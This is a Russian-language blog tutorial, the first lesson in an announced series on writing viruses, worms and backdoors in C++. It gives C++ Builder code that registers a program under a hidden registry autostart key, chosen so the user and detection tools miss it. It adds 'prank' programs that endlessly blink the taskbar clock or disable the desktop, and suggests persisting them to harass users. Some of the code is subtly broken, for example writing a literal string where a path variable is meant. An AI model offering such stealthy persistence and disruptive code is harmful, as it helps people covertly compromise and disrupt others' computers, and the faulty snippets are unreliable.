• 7588
  • 0
  • 1
Нравится блог?
Подписывайтесь!

Вирусы&C++.Урок 1

Привет перчик.
Если ты читаешь эти строки то значит я начал писать цикл статей про вирмейкерство в. С++. Хочу сказать сразу что в этом уроке про вирусы то ничего и не будет. Мы будем готовиться. Разберем несколько API функций научимся работать с реестром и напишем шуточную программку

Почему я выбрал. С++? Ассемблер хорошо подходит для этих целей, но он сложен. Можно конечно и в Delphi вирусы писать, но их качество будет желать лучшего. А вот. С++ самый оптимальный вариант. Компилятор я юзаю C++ builder 6. При наличии мозгов можно писать эти примеры и в других.

Для чего писать вири? Сразу говорю вири я пишу не для вреда. Нет… конечно если кто-то достанет конкретно то можно использовать плод своей воспаленной фантазии во вред этому челу но не более. Обычно я пишу чисто для своего удовольствия, а также для разминки мозгов. Ну общем это мне просто очень нравиться.

В цикле этих статей мы разберем написания, как обычных шуток, так и полноценных червей. Разберем, как пишутся бэкдоры. И возможно еще кое что….

В этом уроке мы не будем писать ни чего вредоносного..


Работа с реестром.
В любом вирусе, в любой шутке или же что то в этом роде программа должна записываться в автозапуск. Для этого можно использовать системный реестр реестра с этого мы и начнем.
Вообще Реестр содержит информацию и настройки для аппаратного обеспечения, программного обеспечения, профилей пользователей, предустановки. Многие программы используют его. Например, самое простое для обычной записи размера окна и последующей загрузки этих данных.

Удобно смотреть разделы реестра можно с помощью программы RegEdit. Набери в консоли RegEdit.exe и запуститься программа. Как видишь можно гулять по разделам и просматривать параметры. И естественно изменять их.

Если хорошо знать реестр, то можно сделать очень многое с ОС.

Мы же будем его использовать для записи программы в авторазгрузку. Стандартно автозагрузка находиться по адресу


HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun-Run-


Ho это сейчас уже неактуально.
Поэтому мы будем использовать так называемые скрытые разделы автозагрузка.


[HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerRun]


Программно мы добавим в эту ветви реестра строковой параметров виде пути к нашей программе раздел использует Explorer. Так что юзер не просечет это. Да и специальные программы могут не найти нашу вещь.
Более подробно про автозагрузку можно прочитать здесь

http://www.nodevice.ru/article/197.html.


Таксссс…. С реестром разобрались. Как же теперь на с помощью. С++ записать туда что-то? Вообще в. С++ есть специальные API функции. НО! Они сложные. Нам с тобой лишние проблемы не нужны. В этих статьях я привожу примеры к Borland C++ Builder. А в этом компиляторе есть замечательный класс Tregistry. Он очень прост.

Поэтому мы его сейчас и разберем. И не только научимся записываться, но и считывать данные. В общем, это очень полезно и понадобиться любому вирмейкеру.


Класс Tregistry;


CurentKey: содержит текущее значение ключа. Значение ключа – это целое число, которое идентифицирует ключ. Обычно от этого свойства мало толку.
RootKey: содержит строку - имя текущего корневого ключа (по умолчанию HKEY_CURENT_USER).
CurrentPath: содержит строку - имя и путь текущего ключа, без корневого.
LazyWrite: определяет – предавать управление приложению во время записи данных в ключ (true), или не передавать до тех пор пока запись не завершится (false).
Также класс Tregistry содержит несколько методов для работы с реестром. Такие как:
CloseKey - закрывает ключ и записывает в него данные.
CreateKey - создает ключ, но не открывает его.
DeleteKey - удаляет любой ключ, для удаления текущего можно просто передать пустую строку.
GetKeyNames - возвращает потомку TStrings все его подключи.
GetValueNames - возвращает имена всех элементов ключа.
KeyExists - true - если указанный ключ существует, false – если нет.
OpenKey() - открывает указанный ключ, имеет два параметра. Второй параметр отвечает за то создавать ключ, если он не существует или нет (true, false).
ValueExists - true – если указанный элемент данных существует.

LoadKey, SaveKey -эти методы загружают и сохраняют ключ на диске.

ReadBool - этот и следующие методы читают из указанного элемента ключа данные определенного типа.
ReadDateTime
ReadFloat
ReadInteger
ReadString

WriteBinaryData - этот и следующие методы записывают в указанный элемент ключа данные соотествующего типа.
WriteBool
WriteDateTime
WriteFloat
WriteInteger
WriteString


Механизм работы с реестром примерно следующий:
1. Открыть ключ (OpenKey())
2. Прочитать или записать данные
3. Закрыть ключ (CloseKey()), хотя деструктор класса Tregistry и может закрыть ключ сам, но это поможет при одиночном или последнем чтении.



TRegistry *reg = new TRegistry(KEY_ALL_ACCESS);



Здесь мы инициализируем переменную reg для дальнейшего использование
С этой инициализации все и начинается. Теперь мы разберем чтение



TRegistry *reg = new TRegistry(KEY_ALL_ACCESS);// инициализация
reg->RootKey= HKEY_LOCAL_MACHINE; // выбираем корень
reg->OpenKey("Software", true); // открываем раздел Software
reg->ReadString("LAmer"); Читаем строку
reg->CloseKey(); // закрываем ключ



Думаю тут все понятно.
Запись:



TRegistry *reg = new TRegistry(KEY_ALL_ACCESS); // инициализация
reg->RootKey= HKEY_LOCAL_MACHINE; // выбор корня
reg->OpenKey("Software", true); // открываем раздел Software
reg->OpenKey("Busps", true); // открываем раздел Busps
reg->WriteString("lalala","lalala"); // записываем в него строку.
reg->CloseKey();


Итак, чтобы посмотреть значение параметров у Busps пройди в программе просм. Реестра путь, по которому мы записывали данные.

Сверху я рассказывал об удаление данных и типах данных, которые можно читать. Так что информации вполне достаточно.

Ну и собственно самое главное - - - запись в автозапуск(autorun).
Как я уже говорил в раздел автозапуска (о котором я тоже говорил), мы запишем путь к нашей программе. Для его определения существует API функция GetSystemDirectory.


Функция GetCurrentDirectory возвращает путь к текущей директории.


DWORD GetCurrentDirectory(
DWORD nBufferLength, // размер буфера [in]
LPTSTR lpBuffer // буфер для текущей директории [out]



Возвращаемое значение:
Эта функция возвращает размер буфера, для системной директории не включая нулевого
значения в конце, если она вызвана правильно.
Если функция вызвана не правильно, то она возвращает 0.

Пример:


{
char path[100];
GetCurrentDirectory( 100, path );
}



Ну, теперь конкретный пример записи программы в автозапуск.


char path[100]; // переменная для пути
GetCurrentDirectory( 100, path ); // получаем путь и записываем его в переменную path
TRegistry *reg = new TRegistry(KEY_ALL_ACCESS); // инициализируемся
reg->RootKey= HKEY_LOCAL_MACHINE; // корень
reg->OpenKey("Software", true); // далее открываться нужные разделы
reg->OpenKey("Microsoft", true);
reg->OpenKey("Windows", true);
reg->OpenKey("CurrentVersion", true);
reg->OpenKey("Policies", true);
reg->OpenKey("Explorer", true);
reg->OpenKey("run", true);
reg->WriteString("System","path"); записываем параметр с именем Sistem и значение path. А path у нас это путь
reg->CloseKey();// ну и закрываем ключ


Сначала записали в переменную текущую директорию, потом мы записали в нужный раздел реестра эту переменную


ФУУ…. Про реестр все. Наверное, ты рад. Собственно весь этот текст про реестр нужен был, что бы ты понял последний код для записи в автозапуск. Ну, вот ты научился работать с реестром, а это большой вклад в наше нелегкое дело/


НУ чтож, теперь мы напишем несколько шуточный (или можно сказать доставучих) программ.



Прога 0.

Мигающие часики.
Очень простая программка. Она будет сначала скрывать часы потом из показывать и так бесконечное количество.

Если делать программы как обычные они получаться достаточно большие. Чтобы этого не случилось, мы вот как поступим.
Вызывай меню:

File->New->Other->ConsoleWizard

В появившемся окне укажи С++. А из галочек оставь только MultiThreader. Все ты сделал минимальное приложение. Только конечно кодить придется на чистом си.
НУ, вот теперь пиши вот этот код:


HWND Wnd;// переменная как указатель на окно которое мы будем искать
Wnd = FindWindow("Shell_TrayWnd", NULL); // поверхностный поиск главный окон
Wnd = FindWindowEx(Wnd, HWND(0), "TrayNotifyWnd", NULL);// поиск системного лотка
Wnd = FindWindowEx(Wnd, HWND(0), "TrayClockWClass", NULL);// поиска часиков
while(true) // запуск бесконечного цикла
{
ShowWindow (Wnd, SW_HIDE); Скрываем часики
Sleep (500); //спим 500 мс
ShowWindow(Wnd, SW_SHOW); показываем часики
Sleep(500); //снова спим
} //повторяем



Сначала вызывается функция FindWindow она поверхностно ищет окна
Далее FindWindowEx. Она уже более точно ищет окна. Здесь она ищет системный лоток
И потом она вызывается второй раз здесь уже ищет часы.
Тоесть



Панель
|
Системный лоток
|
Часы


Далее запускается бесконечный цикл. В нем мы используем функцию ShowWindow. У нее 2 параметра. Первый это окно (у нас это часики записанные в Wnd) и что нам с ним сделать. У нас 2 варианта скрыть (SW_HIDE) и показать(SW_SHOW) вот и все потом опять спим, пол секунды и все повторяем.

Итак, теперь ты еще можешь записать эту программу в автозапуск (чтоб юзер совсем запарился =)

Прога 1.

В этой программке мы заблокируем рабочий стол


HWND h=GetDesktopWindow(); // Получаем в переменную контекст на рабочий стол
EnableWindow(h, FALSE); // непосредственно блокируем его


На сегодня шуток достаточно… при наличие мозгов и знанием API можно бес проблем написать множество таких программок.
Ну вот и подошел к концу наш первый урок.
На следующем уроки мы рассмотрим непосредственно классификацию вирусов. Выучим несколько API функции и напишем маленький вирус.



Приложение
Для ознакомление с некоторыми API функциями советую скачать вот эту справку
http://dump.ru/file/1065765

 

Взлом программ и сайтов

 
huzrus
3 февраля 2013, 21:39
4010

Loading...

Комментарии

Оставьте свой комментарий

Спасибо за открытие блога в Yvision.kz! Чтобы убедиться в отсутствии спама, все комментарии новых пользователей проходят премодерацию. Соблюдение правил нашей блог-платформы ускорит ваш переход в категорию надежных пользователей, не нуждающихся в премодерации. Обязательно прочтите наши правила по указанной ссылке: Правила

Также можно нажать Ctrl+Enter

Популярные посты

Исламская ипотека в Казахстане: в этом году выйдет на розничный рынок

Исламская ипотека в Казахстане: в этом году выйдет на розничный рынок

Многие клиенты, вздыхая о харамном ссудном проценте местных банков, сокрушались по поводу отсутствия у нас халяльного кредитования. Поддержка исламского банкинга на уровне МФЦА есть...
DanaJarlygapova
24 марта 2017 / 18:28
  • 21914
  • 63
Рианна за $2 млн. Очередные понты от «ЭКСПО-2017»

Рианна за $2 млн. Очередные понты от «ЭКСПО-2017»

Концерт Рианны всё-таки состоится летом в рамках культурно-зрелищных и спортивных мероприятий ЭКСПО-2017. Рианна крута, с этим никто не спорит. Но соберёт ли «Астана Арена» 30 тысяч зрителей при...
openqazaqstan
29 марта 2017 / 14:29
  • 18771
  • 15
КТЖ подарило iPhone мошеннику за краденную фотографию

КТЖ подарило iPhone мошеннику за краденную фотографию

Украл в супермаркете — отправился в полицию. Украл фотографию — выиграл новенький iPhone 7 от КТЖ. Вот такая нехитрая получается история. Огромное спасибо Тамерлану Жумабекову, который обратил моё...
andche
вчера / 0:06
  • 12188
  • 22
Компания LG Electronics открыла предзаказ на новый флагман LG G6

Компания LG Electronics открыла предзаказ на новый флагман LG G6

LG Electronics объявляет о начале предварительного заказа онлайн на новый смартфон LG G6. Оформить предзаказ можно на сайтах магазинов электроники до 16 апреля 2017 года.
LG Electronics
24 марта 2017 / 14:20
  • 5265
  • 0
Страну, где так строят дороги, победить невозможно!

Страну, где так строят дороги, победить невозможно!

Шестиминутный ролик про строительство автомобильной дороги в США - это как острый нож в пузо нашим чиновникам. Они же подавятся бешбармаком, увидев его! Похлеще любого пропагандистского фильма...
Timur_Tregulov
24 марта 2017 / 11:26
  • 5136
  • 41
Димаш, Головкин, Есентаева... О героях нашего времени – истинных и «картонных»

Димаш, Головкин, Есентаева... О героях нашего времени – истинных и «картонных»

В прессе, в соцсетях, на ТВ, во всём информационном пространстве Казахстана –заразная эпидемия. Что сказал Головкин, что съела Есентаева, что китайцы подарили Димашу...
openqazaqstan
вчера / 15:54
  • 4014
  • 21
Почему наши парни выглядят как агашки? Хочется им сообщить, что мода на пафос прошла

Почему наши парни выглядят как агашки? Хочется им сообщить, что мода на пафос прошла

Когда уже люди смогут самоутверждаться за счет своего интеллекта, энергии, познаний и настоящей красоты, а не за счет авторитетного вида и не менее авторитетного дяди?
Bookenova_smartass
28 марта 2017 / 18:28
  • 4271
  • 91
Это вам не Дисней. Реальный прототип «Красавицы и Чудовища»

Это вам не Дисней. Реальный прототип «Красавицы и Чудовища»

Многие уверенны на 100%, что сказка «Красавица и Чудовище» - это интересная выдумка ее создателей. Однако, действия, происходящие в мультфильме и фильме, имели место в истории, и у главных героев...
Naomi_K
24 марта 2017 / 18:42
  • 5094
  • 36
Семь причин почему вам надо перестать откладывать переезд за границу

Семь причин почему вам надо перестать откладывать переезд за границу

Вы думаете о переезде за границу, но постоянно откладываете дату, потому что вас беспокоит тысяча мелочей, которые могут пойти не так? У меня есть семь причин, почему пора перестать мотать нервы...
Lesch
24 марта 2017 / 17:50
  • 4064
  • 14